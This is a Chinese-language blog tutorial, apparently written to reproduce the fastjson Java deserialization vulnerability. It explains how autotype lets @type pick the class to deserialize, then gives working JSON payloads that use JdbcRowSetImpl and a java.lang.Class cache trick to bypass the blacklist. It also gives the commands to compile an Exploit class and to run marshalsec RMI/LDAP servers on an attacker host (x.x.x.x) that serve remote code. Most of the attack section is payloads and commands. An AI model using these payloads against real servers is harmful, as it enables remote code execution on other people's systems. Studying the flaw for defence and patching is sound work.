fastjson反序列化漏洞

目录

前言

一、漏洞原理

二、漏洞复现

2.1 fastjson<=1.2.24

2.2 1.2.24<=fastjson<=1.2.47

 2.2.1 在攻击机上编译类

 2.2.2 开启rmi和ldap服务

 2.2.3 写入poc

参考资料


前言

        fastjson是阿里开发的json解析库,可以将java对象解析为json,也可以将json反序列化为java对象,主要用json.parse()方法进行反序列化。

一、漏洞原理

        由于fastjson存在autotype功能,若开启了autotype功能(即autoTypeSupport=True),那么就可以引用@type指定反序列化的类,而若类中使用了json.parse()反序列化了恶意数据,那么就会造成任意代码执行。

二、漏洞复现

2.1 fastjson<=1.2.24

        可以直接抓包发送@type格式的json数据,fastjson会调用指定的类然后运行远程恶意class文件

如{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

指定反序列化com.sun.rowset.JdbcRowSetImpl类,然后利用rmi远程获取poc执行恶意代码。

2.2 1.2.24<=fastjson<=1.2.47

        这时fastjson默认不开启autotype功能,导致无法直接指定类,我们需要使用java.lang.class指定类放入缓存中,然后fastjson会直接调用缓存中的类,从而绕过黑名单检测

 2.2.1 在攻击机上编译类

Exploit.java(命令可以随意更改)

fastjson反序列化漏洞_第1张图片

编译成Exploit.class

javac Exploit.java

 2.2.2 开启rmi和ldap服务

        在攻击机上开启rmi或者ldap服务,可以使用marshalsec开启

https://github.com/mbechler/marshalsec

        下载下来以后使用maven打包

mvn clean package -DskipTests

fastjson反序列化漏洞_第2张图片

把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传攻击机上,

启动rmi和ldap服务,将result重定向到Exploit服务器目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999

2.2.3 写入poc

        接着在在服务器上用burp抓包,输入json格式的poc

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:9999/Exploit",     //这里可以换做ldap://x.x.x.x:9999/Exploit
        "autoCommit": true
    }
}

fastjson反序列化漏洞_第3张图片

        这里rmi用不了,换成ldap就可以了

参考资料

Fastjson反序列化漏洞利用 - 简书 (jianshu.com)

你可能感兴趣的:(web漏洞,中间件漏洞,java,web安全)